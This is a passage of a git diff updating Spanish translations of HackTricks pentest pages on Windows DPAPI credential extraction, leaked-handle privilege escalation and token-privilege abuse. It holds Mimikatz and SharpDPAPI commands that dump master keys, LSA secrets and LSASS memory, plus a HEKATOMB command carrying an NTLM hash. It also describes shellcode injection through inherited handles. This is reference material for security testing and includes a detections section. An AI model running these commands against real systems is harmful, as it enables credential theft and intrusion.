clave especial a la que solo el usuario SYSTEM puede acceder. Esta clave se utiliza para cifrar datos que necesitan ser accesibles por el sistema mismo, como credenciales a nivel de máquina o secretos a nivel de sistema. + +Tenga en cuenta que estas claves **no tienen una copia de seguridad de dominio**, por lo que solo son accesibles localmente: + +- **Mimikatz** puede acceder a ella volcando secretos de LSA usando el comando: `mimikatz lsadump::secrets` +- El secreto se almacena dentro del registro, por lo que un administrador podría **modificar los permisos DACL para acceder a él**. La ruta del registro es: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM` + +### Datos protegidos por DPAPI Entre los datos personales protegidos por DPAPI se encuentran: +- Credenciales de Windows - Contraseñas y datos de autocompletado de Internet Explorer y Google Chrome - Contraseñas de cuentas de correo electrónico y FTP interno para aplicaciones como Outlook y Windows Mail -- Contraseñas para carpetas compartidas, recursos, redes inalámbricas y Windows Vault, incluyendo claves de cifrado -- Contraseñas para conexiones de escritorio remoto, .NET Passport y claves privadas para diversos propósitos de cifrado y autenticación -- Contraseñas de red gestionadas por el Administrador de Credenciales y datos personales en aplicaciones que utilizan CryptProtectData, como Skype, MSN messenger y más +- Contraseñas para carpetas compartidas, recursos, redes inalámbricas y Windows Vault, incluidas claves de cifrado +- Contraseñas para conexiones de escritorio remoto, .NET Passport y claves privadas para varios propósitos de cifrado y autenticación +- Contraseñas de red gestionadas por Credential Manager y datos personales en aplicaciones que utilizan CryptProtectData, como Skype, MSN messenger y más +- Blobs cifrados dentro del registro +- ... -## List Vault +Los datos protegidos del sistema incluyen: +- Contraseñas de Wifi +- Contraseñas de tareas programadas +- ... + +### Opciones de extracción de claves maestras + +- Si el usuario tiene privilegios de administrador de dominio, puede acceder a la **clave de copia de seguridad de dominio** para descifrar todas las claves maestras de usuario en el dominio: +```bash +# Mimikatz +lsadump::backupkeys /system: /export + +# SharpDPAPI +SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk] +``` +- Con privilegios de administrador local, es posible **acceder a la memoria de LSASS** para extraer las claves maestras de DPAPI de todos los usuarios conectados y la clave del SISTEMA. +```bash +# Mimikatz +mimikatz sekurlsa::dpapi +``` +- Si el usuario tiene privilegios de administrador local, puede acceder al **secreto LSA de DPAPI_SYSTEM** para descifrar las claves maestras de la máquina: +```bash +# Mimikatz +lsadump::secrets /system:DPAPI_SYSTEM /export +``` +- Si se conoce la contraseña o el hash NTLM del usuario, se puede **desencriptar las claves maestras del usuario directamente**: +```bash +# Mimikatz +dpapi::masterkey /in: /sid: /password: /protected + +# SharpDPAPI +SharpDPAPI.exe masterkeys /password:PASSWORD +``` +- Si estás dentro de una sesión como el usuario, es posible pedir al DC la **clave de respaldo para descifrar las claves maestras usando RPC**. Si eres administrador local y el usuario ha iniciado sesión, podrías **robar su token de sesión** para esto: +```bash +# Mimikatz +dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc + +# SharpDPAPI +SharpDPAPI.exe masterkeys /rpc +``` +## Lista de Cofres ```bash # From cmd vaultcmd /listcreds:"Windows Credentials" /all @@ -26,16 +116,53 @@ vaultcmd /listcreds:"Windows Credentials" /all # From mimikatz mimikatz vault::list ``` -## Archivos de Credenciales +## Acceso a datos cifrados por DPAPI -Los **archivos de credenciales protegidos** podrían estar ubicados en: -``` +### Encontrar datos cifrados por DPAPI + +Los **archivos protegidos** comunes de los usuarios se encuentran en: + +- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*` +- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*` +- `C:\Users\username\AppData\Roaming\Microsoft\Vault\*` +- También verifica cambiando `\Roaming\` a `\Local\` en las rutas anteriores. + +Ejemplos de enumeración: +```bash dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\ dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -Obtén información de credenciales usando mimikatz `dpapi::cred`, en la respuesta puedes encontrar información interesante como los datos encriptados y el guidMasterKey. +[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) puede encontrar blobs cifrados por DPAPI en el sistema de archivos, el registro y blobs B64: +```bash +# Search blobs in the registry +search /type:registry [/path:HKLM] # Search complete registry by default + +# Search blobs in folders +search /type:folder /path:C:\path\to\folder +search /type:folder /path:C:\Users\username\AppData\ + +# Search a blob inside a file +search /type:file /path:C:\path\to\file + +# Search a blob inside B64 encoded data +search /type:base64 [/base:] +``` +Tenga en cuenta que [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (del mismo repositorio) se puede utilizar para descifrar datos sensibles como cookies utilizando DPAPI. + +### Claves de acceso y datos + +- **Utilice SharpDPAPI** para obtener credenciales de archivos cifrados por DPAPI de la sesión actual: +```bash +# Decrypt user data +## Note that 'triage' is like running credentials, vaults, rdg and certificates +SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect + +# Decrypt machine data +SharpDPAPI.exe machinetriage +``` +- **Obtener información de credenciales** como los datos encriptados y el guidMasterKey. ```bash mimikatz dpapi::cred /in:C:\Users\\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7 @@ -45,49 +172,92 @@ guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe} pbData : b8f619[...snip...]b493fe [..] ``` -Puedes usar el **módulo mimikatz** `dpapi::cred` con el `/masterkey` apropiado para descifrar: -``` -dpapi::cred /in:C:\path\to\encrypted\file /masterkey: -``` -## Master Keys +- **Acceder a las claves maestras**: -Las claves DPAPI utilizadas para encriptar las claves RSA del usuario se almacenan en el directorio `%APPDATA%\Microsoft\Protect\{SID}`, donde {SID} es el [**Identificador de Seguridad**](https://en.wikipedia.org/wiki/Security_Identifier) **de ese usuario**. **La clave DPAPI se almacena en el mismo archivo que la clave maestra que protege las claves privadas del usuario**. Generalmente son 64 bytes de datos aleatorios. (Nota que este directorio está protegido, por lo que no puedes listar su contenido usando `dir` desde el cmd, pero puedes listarlo desde PS). +Desencriptar una clave maestra de un usuario solicitando la **clave de respaldo del dominio** usando RPC: ```bash -Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ -Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect -Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\ -Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\ -Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID} -Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID} +# Mimikatz +dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc + +# SharpDPAPI +SharpDPAPI.exe masterkeys /rpc ``` -Esto es lo que un conjunto de Claves Maestras de un usuario se verá así: +La herramienta **SharpDPAPI** también admite estos argumentos para la descifrado de la clave maestra (note cómo es posible usar `/rpc` para obtener la clave de respaldo del dominio, `/password` para usar una contraseña en texto plano, o `/pvk` para especificar un archivo de clave privada del dominio DPAPI...): +``` +/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys) +/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys +/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys +/password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) +/ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) +/credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely) +/rpc - decrypt the target user's masterkeys by asking domain controller to do so +/server:SERVER - triage a remote server, assuming admin access +/hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption) +``` +- **Desencriptar datos usando una clave maestra**: +```bash +# Mimikatz +dpapi::cred /in:C:\path\to\encrypted\file /masterkey: -![](<../../images/image (1121).png>) +# SharpDPAPI +SharpDPAPI.exe /target: /ntlm: +``` +La herramienta **SharpDPAPI** también admite estos argumentos para la decryption de `credentials|vaults|rdg|keepass|triage|blob|ps` (nota cómo es posible usar `/rpc` para obtener la clave de respaldo de los dominios, `/password` para usar una contraseña en texto plano, `/pvk` para especificar un archivo de clave privada de dominio DPAPI, `/unprotect` para usar la sesión del usuario actual...): +``` +Decryption: +/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands +/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys +/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys +/password:X - decrypt the target user's masterkeys using a plaintext password (works remotely) +/ntlm:X - decrypt the target user's masterkeys using a NTLM hash (works remotely) +/credkey:X - decrypt the target user's masterkeys using a DPAPI credkey (domain or local SHA1, works remotely) +/rpc - decrypt the target user's masterkeys by asking domain controller to do so +GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption +/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption -Usualmente **cada clave maestra es una clave simétrica encriptada que puede desencriptar otro contenido**. Por lo tanto, **extraer** la **Clave Maestra encriptada** es interesante para **desencriptar** más tarde ese **otro contenido** encriptado con ella. +Targeting: +/target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder +/server:SERVER - triage a remote server, assuming admin access +Note: must use with /pvk:KEY or /password:X +Note: not applicable to 'blob' or 'ps' commands +``` +- Desencriptar algunos datos usando **la sesión del usuario actual**: +```bash +# Mimikatz +dpapi::blob /in:C:\path\to\encrypted\file /unprotect -### Extraer clave maestra y desencriptar +# SharpDPAPI +SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect +``` +### Acceder a los datos de otra máquina -Consulta la publicación [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#extracting-dpapi-backup-keys-with-domain-admin) para un ejemplo de cómo extraer la clave maestra y desencriptarla. +En **SharpDPAPI y SharpChrome** puedes indicar la opción **`/server:HOST`** para acceder a los datos de una máquina remota. Por supuesto, necesitas poder acceder a esa máquina y en el siguiente ejemplo se supone que se conoce **la clave de cifrado de respaldo del dominio**: +```bash +SharpDPAPI.exe triage /server:HOST /pvk:BASE64 +SharpChrome cookies /server:HOST /pvk:BASE64 +``` +## Otras herramientas -## SharpDPAPI +### HEKATOMB -[SharpDPAPI](https://github.com/GhostPack/SharpDPAPI#sharpdpapi-1) es un puerto en C# de algunas funcionalidades de DPAPI del proyecto [Mimikatz](https://github.com/gentilkiwi/mimikatz/) de [@gentilkiwi](https://twitter.com/gentilkiwi). - -## HEKATOMB - -[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) es una herramienta que automatiza la extracción de todos los usuarios y computadoras del directorio LDAP y la extracción de la clave de respaldo del controlador de dominio a través de RPC. El script resolverá todas las direcciones IP de las computadoras y realizará un smbclient en todas las computadoras para recuperar todos los blobs de DPAPI de todos los usuarios y desencriptar todo con la clave de respaldo del dominio. +[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) es una herramienta que automatiza la extracción de todos los usuarios y computadoras del directorio LDAP y la extracción de la clave de respaldo del controlador de dominio a través de RPC. El script resolverá todas las direcciones IP de las computadoras y realizará un smbclient en todas las computadoras para recuperar todos los blobs de DPAPI de todos los usuarios y descifrar todo con la clave de respaldo del dominio. `python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp` ¡Con la lista de computadoras extraídas de LDAP puedes encontrar cada subred incluso si no las conocías! -"Porque los derechos de Administrador de Dominio no son suficientes. Hackea a todos." - -## DonPAPI +### DonPAPI [**DonPAPI**](https://github.com/login-securite/DonPAPI) puede volcar secretos protegidos por DPAPI automáticamente. +### Detecciones comunes + +- Acceso a archivos en `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` y otros directorios relacionados con DPAPI. +- Especialmente desde un recurso compartido de red como C$ o ADMIN$. +- Uso de Mimikatz para acceder a la memoria de LSASS. +- Evento **4662**: Se realizó una operación en un objeto. +- Este evento se puede verificar para ver si se accedió al objeto `BCKUPKEY`. + ## Referencias - [https://www.passcape.com/index.php?section=docsys\&cmd=details\&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13) diff --git a/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md b/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md index 223956e59..16bd3a27e 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md +++ b/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md @@ -1,25 +1,25 @@ -# Leaked Handle Exploitation +# Explotación de Manejadores Filtrados {{#include ../../banners/hacktricks-training.md}} ## Introducción -Los handles en un proceso permiten **acceder** a diferentes **recursos de Windows**: +Los manejadores en un proceso permiten **acceder** a diferentes **recursos de Windows**: -![RootedCON2022 - Explotando Handles Filtrados para LPE](<../../images/image (246).png>) +![RootedCON2022 - Explotando Manejadores Filtrados para LPE](<../../images/image (246).png>) -Ya ha habido varios casos de **escalada de privilegios** donde un **proceso privilegiado** con **handles abiertos e heredables** ha **ejecutado** un **proceso no privilegiado** dándole **acceso a todos esos handles**. +Ya ha habido varios casos de **escalada de privilegios** donde un **proceso privilegiado** con **manejadores abiertos e heredables** ha **ejecutado** un **proceso no privilegiado** dándole **acceso a todos esos manejadores**. -Por ejemplo, imagina que **un proceso que se ejecuta como SYSTEM abre un nuevo proceso** (`OpenProcess()`) con **acceso total**. El mismo proceso **también crea un nuevo proceso** (`CreateProcess()`) **con bajos privilegios pero heredando todos los handles abiertos del proceso principal**.\ -Entonces, si tienes **acceso total al proceso de bajo privilegio**, puedes obtener el **handle abierto al proceso privilegiado creado** con `OpenProcess()` e **inyectar un shellcode**. +Por ejemplo, imagina que **un proceso que se ejecuta como SYSTEM abre un nuevo proceso** (`OpenProcess()`) con **acceso total**. El mismo proceso **también crea un nuevo proceso** (`CreateProcess()`) **con bajos privilegios pero heredando todos los manejadores abiertos del proceso principal**.\ +Entonces, si tienes **acceso total al proceso de bajo privilegio**, puedes obtener el **manejador abierto al proceso privilegiado creado** con `OpenProcess()` e **inyectar un shellcode**. -## **Handles Interesantes** +## **Manejadores Interesantes** ### **Proceso** -Como leíste en el ejemplo inicial, si un **proceso no privilegiado hereda un handle de proceso** de un **proceso privilegiado** con suficientes permisos, podrá ejecutar **código arbitrario en él**. +Como leíste en el ejemplo inicial, si un **proceso no privilegiado hereda un manejador de proceso** de un **proceso privilegiado** con suficientes permisos, podrá ejecutar **código arbitrario en él**. -En [**este excelente artículo**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) puedes ver cómo explotar cualquier handle de proceso que tenga alguno de los siguientes permisos: +En [**este excelente artículo**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) puedes ver cómo explotar cualquier manejador de proceso que tenga alguno de los siguientes permisos: - PROCESS_ALL_ACCESS - PROCESS_CREATE_PROCESS @@ -29,52 +29,52 @@ En [**este excelente artículo**](http://dronesec.pw/blog/2019/08/22/exploiting- ### Hilo -Similar a los handles de proceso, si un **proceso no privilegiado hereda un handle de hilo** de un **proceso privilegiado** con suficientes permisos, podrá ejecutar **código arbitrario en él**. +Similar a los manejadores de proceso, si un **proceso no privilegiado hereda un manejador de hilo** de un **proceso privilegiado** con suficientes permisos, podrá ejecutar **código arbitrario en él**. -En [**este excelente artículo**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) también puedes ver cómo explotar cualquier handle de proceso que tenga alguno de los siguientes permisos: +En [**este excelente artículo**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) también puedes ver cómo explotar cualquier manejador de proceso que tenga alguno de los siguientes permisos: - THREAD_ALL_ACCESS - THREAD_DIRECT_IMPERSONATION - THREAD_SET_CONTEXT -### Handles de Archivo, Clave y Sección +### Manejadores de Archivo, Clave y Sección -Si un **proceso no privilegiado hereda** un **handle** con **permisos** equivalentes de **escritura** sobre un **archivo o registro privilegiado**, podrá **sobrescribir** el archivo/registro (y con mucha **suerte**, **escalar privilegios**). +Si un **proceso no privilegiado hereda** un **manejador** con **permisos** equivalentes de **escritura** sobre un **archivo o registro privilegiado**, podrá **sobrescribir** el archivo/registro (y con mucha **suerte**, **escalar privilegios**). -**Los Handles de Sección** son similares a los handles de archivo, el nombre común de este tipo de [objetos es **"File Mapping"**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping). Se utilizan para trabajar con **archivos grandes sin mantener el archivo completo** en memoria. Eso hace que la explotación sea "similar" a la explotación de un Handle de Archivo. +Los **Manejadores de Sección** son similares a los manejadores de archivo, el nombre común de este tipo de [objetos es **"Mapeo de Archivos"**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping). Se utilizan para trabajar con **archivos grandes sin mantener todo el** archivo en memoria. Eso hace que la explotación sea "similar" a la explotación de un Manejador de Archivo. -## Cómo ver los handles de los procesos +## Cómo ver los manejadores de procesos ### Process Hacker -[**Process Hacker**](https://github.com/processhacker/processhacker) es una herramienta que puedes descargar gratis. Tiene varias opciones increíbles para inspeccionar procesos y una de ellas es la **capacidad de ver los handles de cada proceso**. +[**Process Hacker**](https://github.com/processhacker/processhacker) es una herramienta que puedes descargar gratis. Tiene varias opciones increíbles para inspeccionar procesos y una de ellas es la **capacidad de ver los manejadores de cada proceso**. -Ten en cuenta que para **ver todos los handles de todos los procesos, se necesita el SeDebugPrivilege** (por lo que necesitas ejecutar Process Hacker como administrador). +Ten en cuenta que para **ver todos los manejadores de todos los procesos, se necesita el SeDebugPrivilege** (por lo que necesitas ejecutar Process Hacker como administrador). -Para ver los handles de un proceso, haz clic derecho en el proceso y selecciona Handles: +Para ver los manejadores de un proceso, haz clic derecho en el proceso y selecciona Manejadores: ![](<../../images/image (616).png>) -Luego puedes hacer clic derecho en el handle y **ver los permisos**: +Luego puedes hacer clic derecho en el manejador y **ver los permisos**: ![](<../../images/image (946).png>) -### Handles de Sysinternals +### Manejadores de Sysinternals -El [**Handles** ](https://docs.microsoft.com/en-us/sysinternals/downloads/handle)binario de Sysinternals también listará los handles por proceso en la consola: +El [**Handles** ](https://docs.microsoft.com/en-us/sysinternals/downloads/handle)binario de Sysinternals también listará los manejadores por proceso en la consola: ![](<../../images/image (720).png>) ### LeakedHandlesFinder -[**Esta herramienta**](https://github.com/lab52io/LeakedHandlesFinder) te permite **monitorear** handles **filtrados** e incluso **autoexplotarlos** para escalar privilegios. +[**Esta herramienta**](https://github.com/lab52io/LeakedHandlesFinder) te permite **monitorear** los **manejadores** filtrados e incluso **autoexplotarlos** para escalar privilegios. ### Metodología -Ahora que sabes cómo encontrar handles de procesos, lo que necesitas verificar es si algún **proceso no privilegiado está teniendo acceso a handles privilegiados**. En ese caso, el usuario del proceso podría obtener el handle y abusar de él para escalar privilegios. +Ahora que sabes cómo encontrar los manejadores de procesos, lo que necesitas verificar es si algún **proceso no privilegiado tiene acceso a manejadores privilegiados**. En ese caso, el usuario del proceso podría obtener el manejador y abusar de él para escalar privilegios. > [!WARNING] -> Se mencionó anteriormente que necesitas el SeDebugPrivilege para acceder a todos los handles. Pero un **usuario aún puede acceder a los handles de sus procesos**, por lo que podría ser útil si deseas escalar privilegios solo desde ese usuario para **ejecutar las herramientas con los permisos regulares del usuario**. +> Se mencionó anteriormente que necesitas el SeDebugPrivilege para acceder a todos los manejadores. Pero un **usuario aún puede acceder a los manejadores de sus procesos**, por lo que podría ser útil si deseas escalar privilegios solo desde ese usuario para **ejecutar las herramientas con los permisos regulares del usuario**. > > ```bash > handle64.exe /a | findstr /r /i "process thread file key pid:" @@ -82,9 +82,9 @@ Ahora que sabes cómo encontrar handles de procesos, lo que necesitas verificar ## Ejemplo Vulnerable -Por ejemplo, el siguiente código pertenece a un **servicio de Windows** que sería vulnerable. El código vulnerable de este binario de servicio se encuentra dentro de la función **`Exploit`**. Esta función comienza **creando un nuevo proceso de handle con acceso total**. Luego, **crea un proceso de bajo privilegio** (copiando el token de bajo privilegio de _explorer.exe_) ejecutando _C:\users\username\desktop\client.exe_. La **vulnerabilidad reside en el hecho de que está creando el proceso de bajo privilegio con `bInheritHandles` como `TRUE`**. +Por ejemplo, el siguiente código pertenece a un **servicio de Windows** que sería vulnerable. El código vulnerable de este binario de servicio se encuentra dentro de la función **`Exploit`**. Esta función comienza **creando un nuevo proceso de manejador con acceso total**. Luego, está **creando un proceso de bajo privilegio** (copiando el token de bajo privilegio de _explorer.exe_) ejecutando _C:\users\username\desktop\client.exe_. La **vulnerabilidad reside en el hecho de que está creando el proceso de bajo privilegio con `bInheritHandles` como `TRUE`**. -Por lo tanto, este proceso de bajo privilegio puede obtener el handle del proceso de alto privilegio creado primero e inyectar y ejecutar un shellcode (ver la siguiente sección). +Por lo tanto, este proceso de bajo privilegio puede obtener el manejador del proceso de alto privilegio creado primero e inyectar y ejecutar un shellcode (ver la siguiente sección). ```c #include #include @@ -293,11 +293,11 @@ return 0; ### Ejemplo de Explotación 1 > [!NOTE] -> En un escenario real probablemente **no podrás controlar el binario** que va a ser ejecutado por el código vulnerable (_C:\users\username\desktop\client.exe_ en este caso). Probablemente **comprometerás un proceso y necesitarás ver si puedes acceder a algún handle vulnerable de algún proceso privilegiado**. +> En un escenario real, probablemente **no podrás controlar el binario** que se va a ejecutar por el código vulnerable (_C:\users\username\desktop\client.exe_ en este caso). Probablemente **comprometerás un proceso y necesitarás ver si puedes acceder a algún handle vulnerable de algún proceso privilegiado**. En este ejemplo puedes encontrar el código de una posible explotación para _C:\users\username\desktop\client.exe_.\ La parte más interesante de este código se encuentra en `GetVulnProcHandle`. Esta función **comenzará a obtener todos los handles**, luego **verificará si alguno de ellos pertenece al mismo PID** y si el handle pertenece a un **proceso**. Si se cumplen todos estos requisitos (se encuentra un handle de proceso abierto accesible), intentará **inyectar y ejecutar un shellcode abusando del handle del proceso**.\ -La inyección del shellcode se realiza dentro de la **`Inject`** función y solo **escribirá el shellcode dentro del proceso privilegiado y creará un hilo dentro del mismo proceso** para ejecutar el shellcode). +La inyección del shellcode se realiza dentro de la función **`Inject`** y solo **escribirá el shellcode dentro del proceso privilegiado y creará un hilo dentro del mismo proceso** para ejecutar el shellcode). ```c #include #include @@ -507,7 +507,7 @@ return 0; En este ejemplo, **en lugar de abusar del handle abierto para inyectar** y ejecutar un shellcode, se va a **usar el token del proceso con handle privilegiado abierto para crear uno nuevo**. Esto se hace en las líneas de 138 a 148. -Nota cómo se utiliza la **función `UpdateProcThreadAttribute`** con el **atributo `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` y el handle al proceso privilegiado abierto**. Esto significa que el **hilo del proceso creado que ejecuta \_cmd.exe**\_\*\* tendrá el mismo privilegio de token que el proceso con handle abierto\*\*. +Nota cómo se utiliza la **función `UpdateProcThreadAttribute`** con el **atributo `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` y el handle al proceso privilegiado abierto**. Esto significa que el **hilo del proceso creado que ejecuta `cmd.exe`** tendrá el mismo privilegio de token que el proceso con handle abierto**. ```c #include #include diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md index 2589827fc..43d3d35c4 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md +++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md @@ -14,7 +14,7 @@ access-tokens.md ### SeImpersonatePrivilege -Este es un privilegio que posee cualquier proceso que permite la suplantación (pero no la creación) de cualquier token, dado que se puede obtener un identificador para él. Un token privilegiado se puede adquirir de un servicio de Windows (DCOM) induciéndolo a realizar autenticación NTLM contra un exploit, lo que permite posteriormente la ejecución de un proceso con privilegios de SYSTEM. Esta vulnerabilidad se puede explotar utilizando varias herramientas, como [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (que requiere que winrm esté deshabilitado), [SweetPotato](https://github.com/CCob/SweetPotato) y [PrintSpoofer](https://github.com/itm4n/PrintSpoofer). +Este es un privilegio que posee cualquier proceso que permite la suplantación (pero no la creación) de cualquier token, dado que se puede obtener un handle para ello. Un token privilegiado se puede adquirir de un servicio de Windows (DCOM) induciéndolo a realizar autenticación NTLM contra un exploit, lo que permite posteriormente la ejecución de un proceso con privilegios de SYSTEM. Esta vulnerabilidad se puede explotar utilizando varias herramientas, como [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (que requiere que winrm esté deshabilitado), [SweetPotato](https://github.com/CCob/SweetPotato), y [PrintSpoofer](https://github.com/itm4n/PrintSpoofer). {{#ref}} roguepotato-and-printspoofer.md @@ -36,7 +36,7 @@ Si tienes habilitado este token, puedes usar **KERB_S4U_LOGON** para obtener un ### SeBackupPrivilege -El sistema se ve obligado a **otorgar todo acceso de lectura** a cualquier archivo (limitado a operaciones de lectura) por este privilegio. Se utiliza para **leer los hashes de contraseñas de cuentas de Administrador local** desde el registro, después de lo cual, se pueden usar herramientas como "**psexec**" o "**wmiexec**" con el hash (técnica Pass-the-Hash). Sin embargo, esta técnica falla bajo dos condiciones: cuando la cuenta de Administrador local está deshabilitada, o cuando hay una política que elimina los derechos administrativos de los Administradores locales que se conectan de forma remota.\ +El sistema se ve obligado a **otorgar todo el acceso de lectura** a cualquier archivo (limitado a operaciones de lectura) por este privilegio. Se utiliza para **leer los hashes de contraseñas de cuentas de Administrador local** desde el registro, tras lo cual, herramientas como "**psexec**" o "**wmiexec**" pueden ser utilizadas con el hash (técnica Pass-the-Hash). Sin embargo, esta técnica falla bajo dos condiciones: cuando la cuenta de Administrador local está deshabilitada, o cuando hay una política que elimina los derechos administrativos de los Administradores locales que se conectan de forma remota.\ Puedes **abusar de este privilegio** con: - [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1) @@ -50,7 +50,7 @@ Puedes **abusar de este privilegio** con: ### SeRestorePrivilege -Este privilegio proporciona permiso para **acceso de escritura** a cualquier archivo del sistema, independientemente de la Lista de Control de Acceso (ACL) del archivo. Abre numerosas posibilidades para la escalación, incluyendo la capacidad de **modificar servicios**, realizar DLL Hijacking y establecer **depuradores** a través de Opciones de Ejecución de Archivos de Imagen, entre varias otras técnicas. +Este privilegio proporciona permiso para **acceso de escritura** a cualquier archivo del sistema, independientemente de la Lista de Control de Acceso (ACL) del archivo. Abre numerosas posibilidades para la escalación, incluyendo la capacidad de **modificar servicios**, realizar DLL Hijacking, y establecer **depuradores** a través de Opciones de Ejecución de Archivos de Imagen entre varias otras técnicas. ### SeCreateTokenPrivilege @@ -60,23 +60,23 @@ SeCreateTokenPrivilege es un permiso poderoso, especialmente útil cuando un usu - **Suplantación sin SeImpersonatePrivilege:** Es posible aprovechar SeCreateTokenPrivilege para EoP al suplantar tokens bajo condiciones específicas. - **Condiciones para la Suplantación de Tokens:** La suplantación exitosa requiere que el token objetivo pertenezca al mismo usuario y tenga un nivel de integridad que sea menor o igual al nivel de integridad del proceso que intenta la suplantación. -- **Creación y Modificación de Tokens de Suplantación:** Los usuarios pueden crear un token de suplantación y mejorarlo agregando un SID (Identificador de Seguridad) de un grupo privilegiado. +- **Creación y Modificación de Tokens de Suplantación:** Los usuarios pueden crear un token de suplantación y mejorarlo añadiendo un SID (Identificador de Seguridad) de un grupo privilegiado. ### SeLoadDriverPrivilege Este privilegio permite **cargar y descargar controladores de dispositivos** con la creación de una entrada en el registro con valores específicos para `ImagePath` y `Type`. Dado que el acceso de escritura directo a `HKLM` (HKEY_LOCAL_MACHINE) está restringido, se debe utilizar `HKCU` (HKEY_CURRENT_USER) en su lugar. Sin embargo, para que `HKCU` sea reconocible por el núcleo para la configuración del controlador, se debe seguir un camino específico. -Este camino es `\Registry\User\\System\CurrentControlSet\Services\DriverName`, donde `` es el Identificador Relativo del usuario actual. Dentro de `HKCU`, se debe crear todo este camino y establecer dos valores: +Este camino es `\Registry\User\\System\CurrentControlSet\Services\DriverName`, donde `` es el Identificador Relativo del usuario actual. Dentro de `HKCU`, se debe crear todo este camino, y se deben establecer dos valores: - `ImagePath`, que es la ruta al binario que se va a ejecutar - `Type`, con un valor de `SERVICE_KERNEL_DRIVER` (`0x00000001`). **Pasos a Seguir:** -1. Accede a `HKCU` en lugar de `HKLM` debido al acceso de escritura restringido. -2. Crea el camino `\Registry\User\\System\CurrentControlSet\Services\DriverName` dentro de `HKCU`, donde `` representa el Identificador Relativo del usuario actual. -3. Establece el `ImagePath` a la ruta de ejecución del binario. -4. Asigna el `Type` como `SERVICE_KERNEL_DRIVER` (`0x00000001`). +1. Acceder a `HKCU` en lugar de `HKLM` debido al acceso de escritura restringido. +2. Crear el camino `\Registry\User\\System\CurrentControlSet\Services\DriverName` dentro de `HKCU`, donde `` representa el Identificador Relativo del usuario actual. +3. Establecer el `ImagePath` a la ruta de ejecución del binario. +4. Asignar el `Type` como `SERVICE_KERNEL_DRIVER` (`0x00000001`). ```python # Example Python code to set the registry values import winreg as reg @@ -92,7 +92,7 @@ Más formas de abusar de este privilegio en 